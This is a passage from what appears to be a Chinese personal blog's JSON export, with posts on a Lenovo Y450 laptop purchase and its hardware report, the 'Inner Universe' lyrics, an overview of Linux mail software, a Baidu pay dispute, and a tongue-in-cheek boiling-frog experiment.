\u0026#8211; 15\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 533 MHz \u0026#8211; 7 \u0026#8211; 7 \u0026#8211; 7 \u0026#8211; 20\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 610 MHz \u0026#8211; 8 \u0026#8211; 9 \u0026#8211; 9 \u0026#8211; 25\nDIMM 2:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 镁光 DDR3 1067F MHz 1GB (21 周 / 2009 年)\n模块名称:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Micron 8JSF12864HY-1G1D1 D1\u0026#8364;,\n序列号:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 0AC42DE3\n模块位宽:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 64 Bits\n模块电压:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SSTL 1.5V\n内存时序(频率-CL-RCD-RP-RAS):\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 457 MHz \u0026#8211; 6 \u0026#8211; 6 \u0026#8211; 6 \u0026#8211; 15\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 533 MHz \u0026#8211; 7 \u0026#8211; 7 \u0026#8211; 7 \u0026#8211; 20\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 610 MHz \u0026#8211; 8 \u0026#8211; 9 \u0026#8211; 9 \u0026#8211; 25\n硬盘\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 产品:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 富士通 MHZ2320BH G2 ( 320 GB )\n缓存:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 8192 KB\n硬盘已使用时间:\u0026nbsp;\u0026nbsp; 152 小时\n接口:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SATA Rev 2.5 / 150 MB/秒\n数据传输率:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 150 MB/秒\n特征:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; S.M.A.R.T, 48-bit LBA, NCQ\n光驱\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 产品:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 索尼-NEC Optiarc DVD RW AD-7580S ( DVD-RAM/DVD+-RW )\n缓存/固件:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2048 KB / F806\n\u0026#8212;\u0026#8212;\u0026#8211;[ 其他 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n网络\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 网卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 博通 NetLink BCM5784M Gigabit Ethernet PCIe / 联想\n无线网卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 英特尔 Wireless WiFi Link 5100 AGN\n电池\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 产品:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 索尼 L08O6D13 锂电池\n电池损耗:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 0.00% ( 设计容量: 60653 mWh , 当前容量: 60653 mWh )\n序列号:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; SONYL08O6D13\n输入设备\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 键盘:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 标准 101/102 键或 Microsoft 自然 PS/2 键盘\n键盘:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HID Keyboard Device\n鼠标:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Synaptics PS/2 Port TouchPad\n鼠标:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HID-compliant mouse\n鼠标:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; HID-compliant mouse\n音频\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 声卡:\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 瑞昱 ALC269 @ 英特尔 82801I(ICH9) HD Audio Controller\n\u0026#8212;\u0026#8212;\u0026#8211;[ 未正常安装的硬件 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 无\n\u0026#8212;\u0026#8212;\u0026#8211;[ 传感器 ]\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8211;\nCPU核心温度\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 40 ℃\nCPU ACPI温度\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 42 ℃\n显卡温度\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 52 ℃\n主硬盘温度\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 46 ℃ ","permalink":"https://hessian.cn/p/591.html","summary":" 联想Y450A-TSI(D)T6500/2G/320G/Y450AT6500灰色 （￥5200） 2009年6月20日入手，价格足比市场低了400以上。。。。HOHOHO.。。。现在最低报价我也就看到了5600\n不过要注意的是 我买的这款是 （D）版本，就是降配置后的新版本，CPU从6600降到了6500同时没有预装VISTA而改装了DOS。\n我是在这家店买的：\nhttp://item.taobao.com/auction/item_detail-db1-28b8f1afba4d224f11a9204743f97abf.jhtml\n（这店叫什么天晴东方，反正据我在太平洋一层打探的消息，整个太平洋里卖联想的都是这家，应该是比较可靠，而且卖给我的那个人一层的业务员也认识，不过我没仔细打听了。）\n不过是直接去的实体店拿货，现金支付，没拿发票，要发票得加3个税点。。。我可是穷人来的。。\n然后加了75块钱要了个双肩包，蓝色的（据说是原装，我看了质量不错就将就了，反正也不贵）。\n鼠标我没买，回家用自己的旧双飞燕FS-705。\n买的时候我是带了我自己做的USB启动盘去测试，但是由于驱动原因机器性能得不到完全发挥，所以我还是让他当场装了XP验机，装上系统后查了一下配置什么都OK我就直接提走了，回家慢慢玩（为了新本子，我可是把所有XP驱动都是下好了呀。。。HOHOHO）。\n回家后用深度GHOSTXP 专业版9.0重新装了系统，把分区也重新分了，那个什么一键恢复对我来说完全没用，我用GHOST就够了。\nC：20G（- \u0026#8211; 以前喜欢分10G 自从上次装VISTA没装进去之后就开始分20G了。。。） D：100G （装软件，以及工作文件）\nE：50G（装些文档，照片，MP3什么的） F：128G（装备份程序，安装程序，电影什么的大东西，这个分区是启用了NTFS压缩的）\n说说性能，去跑了跑战地2没问题。。。。其他游戏基本没试。。。反正我有台式机\n3DMARK06 我台式机5000+CPU 3850的显卡也就8600分\n这本子能上7000分已经很不错了，整机性能缺陷我觉得就是硬盘了。。。早知道逼他给我找台西数硬盘的。。。\n机器用起来挺安静的，没什么特别的声音，喇叭的效果不错，声卡还支持杜比特效，屏幕下面那一排触感按键比较漂亮，虽然不常用。。。。（谁让我不是VISTA.。。）\n键盘的感觉比较舒服，对比了同事的笔记本，我觉得我的键盘还是比较不错的，仔细看了一下键盘发现好像方向键还做了些特殊处理，起码颜色是不太一样的。。。嘿嘿。。。\n再说触控板，定位比较精确，还有滚动栏控制功能，更是有一个目前我还没看到过的多点触摸，比较好玩，虽然多点触摸我只发现了可以放大缩小。。。。噢，对了，还有个旋转滚动的功能。。。就是可以在触控板上画圈来滚动页面，也比较有用，如果页面很长的时候会比较方便。触控板的左右键中间还有个禁用指示灯，如果触控板被禁用该灯就会亮起，这点比较人性化。\n扩展能力\n450的插口是非常齐全的，左边有1个VGA口一个RJ45接口（有线网） HDMI高清接口 两个USB接口，右边则是DC（电源）接口，一个USB（插鼠标比较方便），光驱，E-SATA/USB COMBO（这个接口即可以插ESATA设备也可以插USB设备） 还有一个1394口，在机器正面指示灯的右边有话筒和音频输出孔，再往右还有一个读卡器和无线开关，这么丰富的接口基本上可以满足我们的所有需要了吧。\n如果USB口不够用还可以用底座扩展不是？但是我听说ESATA口的位置会比较挡手。。。。\n由于450的翻盖设计比较特别，所以本子后面基本上是没法做插口的，所有插口的被放置在了左右和前方。\n下面上图。\n","title":"买本了，09年6月20日正式入手联想Y450A-TSI 有图"},{"content":"Title: Inner Universe\nAlbum: Ghost in the Shell opening\nLyrics: Origa/Shati Syder\nMusic: Yoko Kanno\nVocals: Origa\nAngely i demony kruzhili nado mnoj\nRassekali ternii i mlechnie puti\nNe znaet schast\u0026#8217;ya tol\u0026#8217;ko tot,\nKto ego zova ponyat\u0026#8217; ne smog\u0026#8230;I am Calling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;Stand alone\u0026#8230; Where was life when it had a meaning\u0026#8230;\nStand alone\u0026#8230; Nothing\u0026#8217;s real anymore and\u0026#8230;\u0026#8230;Beskonechnyj beg\u0026#8230;\nPoka zhiva ya mogu starat\u0026#8217;sya na letu ne upast\u0026#8217;,\nNe razuchit\u0026#8217;sya mechtat\u0026#8217;\u0026#8230;lyubit\u0026#8217;\u0026#8230;\n\u0026#8230;Beskonechnyj beg\u0026#8230;Calling Calling, For the place of knowing\nThere\u0026#8217;s more that what can be linked\nCalling Calling, Never will I look away\nFor what life has left for me\nYearning Yearning, for what\u0026#8217;s left of lovingSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nAngels and demons were circling above me\nBreaking the hardships and starry ways*\nThe only one who doesn\u0026#8217;t know happiness\nis the one who couldn\u0026#8217;t understand its callI am Calling Calling now, Spirits rise and falling\nTo stay myself longer\u0026#8230;\nCalling Calling, in the depth of longing\nTo stay myself longer\u0026#8230;Stand alone\u0026#8230; Where was life when it had a meaning\u0026#8230;\nStand alone\u0026#8230; Nothing\u0026#8217;s real anymore and\u0026#8230;\u0026#8230;Endless run\u0026#8230;\nWhile I\u0026#8217;m alive, I can try not to fall while flying,\nNot to forget how to dream\u0026#8230; how to love\n\u0026#8230;Endless run\u0026#8230;Calling Calling, For the place of knowing\nThere\u0026#8217;s more that what can be linked\nCalling Calling, Never will I look away\nFor what life has left for me\nYearning Yearning, for what\u0026#8217;s left of lovingTo stay myself longer\u0026#8230;\nCalling Calling now, Spirits rise and falling\nTo stay myself longer\u0026#8230;\nCalling Calling, in the depth of longing\nTo stay myself longer\u0026#8230;\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\n一直听一直不知道是什么。。。。。\n今天无意中在个国外的网站上发现了歌词。。。。大惊。。。。。\n","permalink":"https://hessian.cn/p/540.html","summary":"Title: Inner Universe\nAlbum: Ghost in the Shell opening\nLyrics: Origa/Shati Syder\nMusic: Yoko Kanno\nVocals: Origa\nAngely i demony kruzhili nado mnoj\nRassekali ternii i mlechnie puti\nNe znaet schast\u0026#8217;ya tol\u0026#8217;ko tot,\nKto ego zova ponyat\u0026#8217; ne smog\u0026#8230;I am Calling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;Stand alone\u0026#8230; Where was life when it had a meaning\u0026#8230;\nStand alone\u0026#8230; Nothing\u0026#8217;s real anymore and\u0026#8230;\u0026#8230;Beskonechnyj beg\u0026#8230;\nPoka zhiva ya mogu starat\u0026#8217;sya na letu ne upast\u0026#8217;,\nNe razuchit\u0026#8217;sya mechtat\u0026#8217;\u0026#8230;lyubit\u0026#8217;\u0026#8230;\n\u0026#8230;Beskonechnyj beg\u0026#8230;Calling Calling, For the place of knowing\nThere\u0026#8217;s more that what can be linked\nCalling Calling, Never will I look away\nFor what life has left for me\nYearning Yearning, for what\u0026#8217;s left of lovingSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling now, Spirits rise and falling\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\nCalling Calling, in the depth of longing\nSoboj ostat\u0026#8217;sya dol\u0026#8217;she\u0026#8230;\n","title":"Ghost In The Shell opening : Inner Universe"},{"content":"在Linux下有许多软件包可以实现标准的邮件服务。UNIX/Linux的电子邮件系统模型基本可分为邮件传 递代理MTA，邮件存储和获取代理MSA，以及邮件客户代理MUA三大模块。虽然也有一些特殊的邮件应用程序无法确切归入上述分类。下面我们就Linux 邮件服务做一概述。\n1、邮件传递代理-MTA\n在Linux下的邮件传递代理包括 sendmail，该系统几乎在任何UNIX平台上都有相应的版本；还有D.J. Bernstein的qmail以及Wietse Venema的Postfix系统。它们负责接收并转递邮件。这听起来很简单，实际上设置可能相当复杂。在邮件策略管理时需要设置一系列的路由和伪装选 项，而许多功能是由语言编程实现的，用以过滤或者修改中继消息的头信息。此外邮件路由和寻址邮件存储信箱的过程包含了复杂的与各种目录服务交互操作，这些 目录服务可能包括DNS，密码文件，NIS, LDAP别名/数据库管理文件，以及各种的通用数据库系统。\n如今的MTA还要实现反垃圾邮 件功能，控制邮件头的to和from地址格式，达到允许或者限制特定域名或者地址范围目的，以上主要是通过修改存取控制表和规则实现。这一过程通常包括查 询数据表或者目录服务，例如Paul Vixie的实时黑洞列表程序RBL，邮件滥用预防系统MAPS，以及同类的Dorkslayer/ORBS系统。MTA一直在不断增强之中，以实现加强 的策略控制以及反病毒和反蠕虫等功能。\n在大多数情况下，安装和设置MTA系统比较容易，不过强大的功能的实现是以高度复杂性为代价的。如 果你所在的机构选择定制的MTA来满足特定的路由，体系，安全性和反垃圾邮件等要求，就需要更加复杂的设置选项，配置包括设计并处理MTA和各种子系统如 LDAP、DNS服务器之间的复杂关系。\n2、邮件存储和获取代理MSA\n一旦安装并设 置完成了MTA，通常还需要对MSA系统进行同样的配置过程。如今大多数机构并不直接将邮件传送到桌面客户系统，而是将邮件存储到服务器，让用户通过 POP或者IMAP来读取各自的邮件。 邮件存储的管理有许多种协议，但如今最常用的是POP3和IMAP4。对于MTA来说，由一些程序，或者称之为Daemon来实现相应协议的服务。大多数 MSA可以与通用的MTA交互，此外这些系统还包含加锁或者其他安全机制，使得多个MSA可以并行工作而不发生冲突。\n这意味着一些用户可 以通过POP协议获取邮件而同时其余一些用户可以使用IMAP协议，而另外一些用户可以登录系统，使用本地MUA例如pine,mutt或elm 处理邮件。单独用户也可以从一种存取协议切换到另一种，而并不需要系统管理员的干预。聪明的用户甚至可以越过通常的MSA/MUA服务，而使用通常的 UNIX命令如cp、mv和ftp或者远程同步rsync来随意处置他们的邮件。对普通用户来说这有些艰涩，但该方法有时可以用来方便地修复崩溃了的邮箱 系统。 在一个已经安装了Linux系统机器上设置POP服务相当容易，甚至不需要什么操作。通常POP Daemon在最初的Linux操作系统安装时已经设立。而如果POP daemon被禁止，可以在/etc/inetd.conf文件中去掉相应行的注释，并重新启动Daemon服务即可。\n类似的， IMAP也是如此。POP通常将邮件转递到客户端并从服务器上移除，而IMAP允许用户将邮件存贮在服务器端的文件夹中，而客户端的拷贝是缓存或者工作副 本，这样做需要更多的服务器存储空间，却可以让IT部门集中在服务器端进行备份和恢复，并让客户端保持相当的灵活性和安全性。IMAP也可以设置成象 POP那样在客户端读取后就删除服务器端的邮件，从操作上讲，两者并没有什么不同。两种服务都由inetd来控制，或可称其为网络分发服务，相当于 Linux的\u0026ldquo;传达接待员\u0026rdquo;。 POP或IMAP可以经年累月的不间歇地运行。无需特殊关照，默默地为成百上千个用户和邮箱服务。不过有时邮件回复系统会犯些愚蠢的错误，或者有些邮件软 件产生了一些bug，这就需要系统管理员介入，解决某些系统故障，清除一些邮件碎片和垃圾。\n例如，有的用户的pop系统可能崩溃，通常是 由于客户收到了太大的邮件附件所致。过大的附件文件超过了磁盘空间限制，解决方法是利用shell命令，利用uudecode解码附件，并存储到该用户的 home目录。也可以设计一些小脚本程序来处理邮件，重新恢复用户的邮箱系统。通常UNIX下的mbox是简单的文本文件，qmail邮件存储在含有单个 小文本文件的目录中。一个胜任的系统管理员完全可以轻而易举的实现上述操作。也就是说，你所遇到的大多数与 MSA和MTA有关的问题可以通过文本编辑器和常用的UNIX过滤器和应用程序加以解决。\n3、邮件客户代理MUA\n邮 件客户代理MUA种类繁多，而且如雨后春笋，层出不穷，各有千秋。大都符合POP和IMAP协议。这也包括微软的Outlook系列。在Linux下，许 多人使用fetchmail抓取邮件并保存在本地邮箱。然后使用任何一种邮件客户代理MUA，比如 elm，pine，mutt，MH/exmh，EMACS 的rmail，vmail，mh-e，gnus以及大量的带有GUI界面的如Balsa, Mahogany等来处理邮件。也有众多Linux用户选择使用Netscape Communicator内置的邮件客户端。\n4、另类的Linux邮件应用\n在 Linux和UNIX下，也有许多工具诸如procmail，vacation，biff，和fetchmail等，不能划归到MTA，MSA，MUA的 分类中。这里做另类简介。 promail经常被用作\u0026ldquo;本地递送代理\u0026rdquo;和邮件处理代理。它通常用来过滤发送给最终收信人的传送信息部分。允许用户编写脚本程序实现对某些特定邮件的自 动发文，拒绝，恢复或者转寄功能。也可以用作处理邮箱，或者作为常规的电子邮件编程语言和程序库。\nvacation是一个收信后自动回复 邮件的早期简单应用。最初用来提醒通信者收信人正在度假，这一功能完全可以通过两行简单的procmail命令实现。 biff可用来通知用户有邮件到达。在图形界面GUI下，也有几款类似的应用，可以通过显示图标，动画，播放音乐或者语音提示表达邮件事件。还可以通过各 种后台的MSA协议实现biff信息在整个网络上的中继传递。\n总之，Linux下的邮件服务是方便灵活，强大而复杂的。只要精心规划，悉心设计，细心配置，完全可以搭建出高效而免费的多功能电子邮件系统平台。\n","permalink":"https://hessian.cn/p/651.html","summary":"在Linux下有许多软件包可以实现标准的邮件服务。UNIX/Linux的电子邮件系统模型基本可分为邮件传 递代理MTA，邮件存储和获取代理MSA，以及邮件客户代理MUA三大模块。虽然也有一些特殊的邮件应用程序无法确切归入上述分类。下面我们就Linux 邮件服务做一概述。\n","title":"Linux下的邮件系统概述"},{"content":"http://news.csdn.net/a/20090515/211304.html\n众员工PK老总···\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n昨天中午,广州天河区广州信息港,百度华南分公司员工邓军和十余名同事前往天河区劳动和社会保障局,位于信息港楼的办公室的其他人员也相继离开.据他们反映,百度从4月20日起通过薪酬调整变相裁员,涉嫌违反劳动法.昨 天下午,天河区劳动和社会保障局门口,邓军(化名)正和同事们等着递交申诉材料.从4月20日开始,新薪酬架构以客户产生实际点击费用后才能算提成, 提成还分成两部分,其中一部分要客户续费后才能拿到,邓军是百度华南分公司一名销售经理,据他介绍,华南分公司包括广州、深圳、东莞三地共 1000多名员工,基本都已经停工.\n一名彭姓员工说,按照新的薪酬标准,每名一线销售、客服人员的收入至少减半.\n员工们说,新的标准没有向员工征求意见,数名反对该标准的华南区高层已经被撤掉,负责广州的大区总监杨某直接被降为一线销售.员工们认为,强推新标准是变相裁员,公司人人自危,目前办公室已经人去楼空.\n下午4时30分许,记者来到广州信息港采访,百度公司通过大楼保安转告称不便接受采访,并拒绝记者上楼.在记者一再要求下,百度一名女性负责人下楼表示,目前公司不便接受采访,也不作任何回应.\n","permalink":"https://hessian.cn/p/390.html","summary":"http://news.csdn.net/a/20090515/211304.html\n众员工PK老总···\n\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;\u0026#8212;-\n昨天中午,广州天河区广州信息港,百度华南分公司员工邓军和十余名同事前往天河区劳动和社会保障局,位于信息港楼的办公室的其他人员也相继离开.据他们反映,百度从4月20日起通过薪酬调整变相裁员,涉嫌违反劳动法.昨 天下午,天河区劳动和社会保障局门口,邓军(化名)正和同事们等着递交申诉材料.从4月20日开始,新薪酬架构以客户产生实际点击费用后才能算提成, 提成还分成两部分,其中一部分要客户续费后才能拿到,邓军是百度华南分公司一名销售经理,据他介绍,华南分公司包括广州、深圳、东莞三地共 1000多名员工,基本都已经停工.\n","title":"有视频··百度员工爆发了····"},{"content":"今天脑子抽经突然想起温水煮青蛙的故事，于是就搜了下看有没有人跟我一样无聊去做这种实验（我只是有想法。。哈哈。。1），结果还真让我给找到了，下面是原文。\nsrc:http://bbs.news.sina.com.cn/treeforum/App/view.php?tbid=5694\u0026amp;bbsid=9\u0026amp;subid=1\u0026amp;fid=721696\u0026amp;id=41685\n相信很多人都听说过\u0026ldquo;温水煮青蛙\u0026rdquo;的故事，然而，我要告诉你，这是一场彻头彻尾的骗局。\n首先申明一下，这个故事的寓意很好，具有很强 的激励意义（这成为它广为流传的一个潜在因素）。作者想要表达的意思是说在一个安逸的环境中，人容易被周围的环境所迷惑，最终导致消沉、放纵和堕落。由于 这个过程是一点一点的变化，让人在不易察觉中完成了整个蜕变，待醒悟过来却为时已晚。相反，如果将人突然从\u0026ldquo;天堂\u0026rdquo;扔到\u0026ldquo;地狱\u0026rdquo;，由于落差极大，人的反应 也非常强烈，从而迅速做出选择，不至于最终都不知道自己是怎么死的。\n这个故事表面上看起来合情合理，无懈可击，谁也不会怀疑它的真实性，本人也是如此。要不是初夏的晚上，青蛙将我吵得无法入睡，我想，也不会有后来的试验。\n鄙人家在农村，由于住宅与田间地头很近，再加上附近有条小沟，里面物种丰富，什么小鱼、小虾、泥鳅、黄鳝、螃蟹、田老鼠、蛇等，当然少不了青蛙。这青蛙 虽然是人类的好朋友，但它晚上发出的噪音，的确让人烦不胜烦，本人就受深其害，搞得俺常常半夜失眠。为了打击一下它们，鄙人决定杀一儆百，于是就想到了那 个故事，决定亲手一试。\n好戏开场了，本人于猴年马月驴日在自家小院支起一口大锅，找来柴禾，准备上演\u0026ldquo;温水煮青蛙\u0026rdquo;之现场直播。\n一共要做两个实验，温水煮青蛙和开水煮青蛙。鄙人本着环保节约的原则，先做\u0026ldquo;温水煮青蛙\u0026rdquo;，完成后再将水直接煮沸做\u0026ldquo;开水煮青蛙\u0026rdquo;。这听起来有些残忍，但科学需要献身精神，可怜这些倒霉的青蛙了，谁让你们半夜打扰俺呢。\n青蛙是那条沟里土生土长的原生态青蛙（与人工饲养的有着本质区别），这保证试验的严谨性和真实性。因为实验材料的质量直接影响到最终结果。\n为了防止青蛙在水温还未变化时就跳出锅外，本人在大锅上盖上一层鱼网，确保插翅难飞万无一失。青蛙被我轻轻放入锅中，各单位各就各位，开始生火，Action!\n在做实验之前，原本以为青蛙会像那个故事中所说，在温水中逐渐丧失体力，但结果却出乎意料。就在我生火一分钟十七秒时，青蛙开始多次往外跳跃，试图逃生。至此第一个实验结果。\n接下来做第二个试验：开水煮青蛙。这个简单，先将大锅中的水烧开，让它沸腾沸腾再沸腾。我闭上眼睛，从网兜里随便抓起一只倒霉的青蛙，在这里顺便说一 下，希望这只青蛙别怪我，要怪就怪写那个故事的作者。看着眼前沸腾的开水，我一狠心一咬牙，将青蛙扔进锅中。按照那位作者的说法，青蛙在接触到开水的刹那 